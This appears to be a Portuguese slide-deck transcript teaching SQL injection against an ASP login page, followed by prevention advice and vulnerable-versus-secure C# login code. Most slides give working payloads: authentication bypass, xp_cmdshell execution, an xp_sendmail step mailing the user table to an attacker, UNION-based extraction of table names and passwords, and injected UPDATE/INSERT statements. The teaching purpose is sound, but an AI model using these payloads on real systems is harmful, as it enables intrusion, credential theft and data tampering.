injeção de sql sql injection. manipulação do string sql conn.open set rst = conn.execute(...

24
Injeção de SQL SQL Injection

Upload: juan-harrison

Post on 27-Mar-2015

229 views

Category:

Documents


2 download

TRANSCRIPT

Page 1: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Injeção de SQL

SQL Injection

Page 2: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Manipulação do string SQL• Conn.Open Set rst = Conn.Execute(

"select * from userinfo where

username = '" & Request.Form("uname") & "' and password = '" & Request.Form(pword) & "'")

• Uso normal: usuário fornece username e password

• String Resultante:select * from userinfo where username = 'uname' and password = 'pword'

Page 3: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Manipulação do string SQL

• Com apóstrofe (') no campo Username

• String Resultante:Select * from userinfo where username = ''' and password = 'pword'

• Falha!Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclose quotation mark before the character string '' and Password=''.

/scripts/Logon.asp, line 20

Page 4: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Manipulação do string SQL

• Com ME no campo Username e apóstrofe no campo password

• String Resultante:Select * from userinfo where username = 'ME' and password = '''

• Falha!Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclose quotation mark before the character string '''.

/scripts/Logon.asp, line 20

Page 5: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Manipulação do string SQL

• Com ME no campo Username e ' or 0=0 -- no campo password

• -- significa início de comentário

• String Resultante:Select * from userinfo where username = 'ME' and password = '' or 0=0 --'

• Bad Logon (não existe usuário ME)• Muito Interessante! (Não falha!)

Page 6: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Manipulação do string SQL

• Com ME no campo Username e '; exec master..xp_cmdshell 'ping 10.10.1.2'-- no campo password

• String Resultante:

• Select * from userinfo where username = 'ME' and password = '' ; exec master..xp_cmdshell 'ping 10.10.1.2'--

Page 7: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Manipulação do string SQL

• Com ME no campo Username e ' group by username -- no campo password

• Resposta do servidorMicrosoft OLE DB Provider for ODBC Drivers error '80040e14'

Column "UserInfo.username' is invalid in the selected list because it is not contained in either an aggregate function or the GROUP BY clause.

/scripts/Logon.asp, line 20

• Sabe-se agora o nome da tabela que contém os usernames: UserInfo.username

Page 8: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Manipulação do string SQL

• Concatenando '; exec master..xp_sendmail @recipients='[email protected]', @subject = 'Mine, all mine!', @query='Select * from userinfo order by ID', @attach_results=True

• Seleciona todos os registros da tabela UserInfo e envia por e-mail para o atacante

Page 9: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como obter dados• Seja o seguinte URL:

http://duck/index.asp?id=10• Tentando-se

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

• Obtém-seMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.

/index.asp, line 5

Page 10: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como obter dados• Sabe-se o nome da primeira tabela: table1

Para obter-se o nome da segunda tabela:http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

• Obtém-seMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table2' to a column of data type int.

/index.asp, line 5

Page 11: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como obter dados• Usando-se LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Obtém-seMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.

/index.asp, line 5

Page 12: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como obter dados• Para determinar os nomes das colunas de uma tabela

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Obtém-seMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int./index.asp, line 5

Page 13: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como obter dados• Para determinar o nomes da coluna seguinte

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Obtém-seMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.

/index.asp, line 5

Page 14: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como obter dados• Analogamente para as demais colunas:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password','details')--

• Obtém-seMicrosoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.

/index.asp, line 5

Page 15: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como obter dados• Após identificar nomes e colunas, pode-se obter os

dados:http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

• Obtém-seMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.

/index.asp, line 5

Page 16: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como obter dados• Obteve-se o nome 'neo'; para a senha:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

• Obtém-seMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.

/index.asp, line 5

Page 17: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como obter dados• Mas para a senha do nome 'trinity':

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

• Obtém-sePage not found

• A senha deve ser numérica...

Page 18: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como obter dados• Para obter a senha numérica:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

• Obtém-seMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.

/index.asp, line 5

• A senha é 31173

Page 19: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como alterar/inserir dados• Para alterar uma senha:

http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

• Inserir um novo usuário:http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

Page 20: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

Como impedir a injeção SQL• Nunca confie na entrada do usuário

– Valide toda a entrada com controles de validação, expressões regulares, etc

• Nunca use SQL dinâmico– Use SQL parametrizado ou procedures armazenadas

• Nunca conecte a uma base de dados como administrador– Use uma conta com acessos limitado para isso

• Não armazene secretos em texto simples– Use cifragem ou hash

• Erros devem divulgar informação mínima– Use customErrors para restringir informação sobre erros;

sete debug para false

Page 21: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

BadLoginprivate void cmdLogin_Click(object sender, System.EventArgs e) { string strCnx = "server=localhost;database=northwind;uid=sa;pwd=;"; SqlConnection cnx = new SqlConnection(strCnx); cnx.Open(); //This code is susceptible to SQL injection attacks. string strQry = "SELECT Count(*) FROM Users WHERE UserName='" + txtUser.Text + "' AND Password='" + txtPassword.Text + "'"; int intRecs; SqlCommand cmd = new SqlCommand(strQry, cnx); intRecs = (int) cmd.ExecuteScalar(); if (intRecs>0) { FormsAuthentication.RedirectFromLoginPage(txtUser.Text,

false); } else { lblMsg.Text = "Login attempt failed."; } cnx.Close();}

Page 22: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

GoodLoginprivate void cmdLogin_Click(object sender, System.EventArgs e) { string strCnx = ConfigurationSettings.AppSettings["cnxNWindBad"]; using (SqlConnection cnx = new SqlConnection(strCnx)) { SqlParameter prm; cnx.Open(); string strQry = "SELECT Count(*) FROM Users WHERE UserName=@username " + "AND Password=@password"; int intRecs;

SqlCommand cmd = new SqlCommand(strQry, cnx); cmd.CommandType= CommandType.Text; prm = new SqlParameter("@username",SqlDbType.VarChar,50); prm.Direction=ParameterDirection.Input; prm.Value = txtUser.Text; cmd.Parameters.Add(prm); prm = new SqlParameter("@password",SqlDbType.VarChar,50); prm.Direction=ParameterDirection.Input; prm.Value = txtPassword.Text; cmd.Parameters.Add(prm); intRecs = (int) cmd.ExecuteScalar(); if (intRecs>0) { FormsAuthentication.RedirectFromLoginPage(txtUser.Text, false); } else { lblMsg.Text = "Login attempt failed."; } }}

Page 23: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

BetterLoginprivate void cmdLogin_Click(object sender, System.EventArgs e) { string strCnx = ConfigurationSettings.AppSettings["cnxNWindBetter"]; using (SqlConnection cnx = new SqlConnection(strCnx)) { SqlParameter prm; cnx.Open(); string strAccessLevel; SqlCommand cmd = new SqlCommand("procVerifyUser", cnx); cmd.CommandType= CommandType.StoredProcedure; prm = new SqlParameter("@username",SqlDbType.VarChar,50); prm.Direction=ParameterDirection.Input; prm.Value = txtUser.Text; cmd.Parameters.Add(prm); prm = new SqlParameter("@password",SqlDbType.VarChar,50); prm.Direction=ParameterDirection.Input; prm.Value = txtPassword.Text; cmd.Parameters.Add(prm);

strAccessLevel = (string) cmd.ExecuteScalar();

if (strAccessLevel.Length>0) { FormsAuthentication.RedirectFromLoginPage(txtUser.Text, false); } else { lblMsg.Text = "Login attempt failed."; } }}

Page 24: Injeção de SQL SQL Injection. Manipulação do string SQL Conn.Open Set rst = Conn.Execute( "select * from userinfo where username = '" & Request.Form("uname")

BestLoginprivate void cmdLogin_Click(object sender, System.EventArgs e) { try { // Grab the encrypted connection string and decrypt it string strCnx = SecureConnection.GetCnxString("cnxNWindBest"); // Establish connection to database using (SqlConnection cnx = new SqlConnection(strCnx)) { SqlParameter prm; cnx.Open(); // Execute sproc to retrieved hashed password for this user string strHashedDbPwd; SqlCommand cmd = new SqlCommand("procGetHashedPassword", cnx); cmd.CommandType = CommandType.StoredProcedure; prm = new SqlParameter("@username", SqlDbType.VarChar,50); prm.Direction = ParameterDirection.Input; prm.Value = txtUser.Text; cmd.Parameters.Add(prm); strHashedDbPwd = (string) cmd.ExecuteScalar(); if (strHashedDbPwd.Length>0) { // Verify that hashed user-entered password is the same // as the hashed password from the database if (SaltedHash.ValidatePassword(txtPassword.Text,strHashedDbPwd)) { FormsAuthentication.RedirectFromLoginPage( txtUser.Text, false); } else {lblMsg.Text = "Login attempt failed.";} } else {lblMsg.Text = "Login attempt failed.";} } } catch {lblMsg.Text = "Login attempt failed.";}}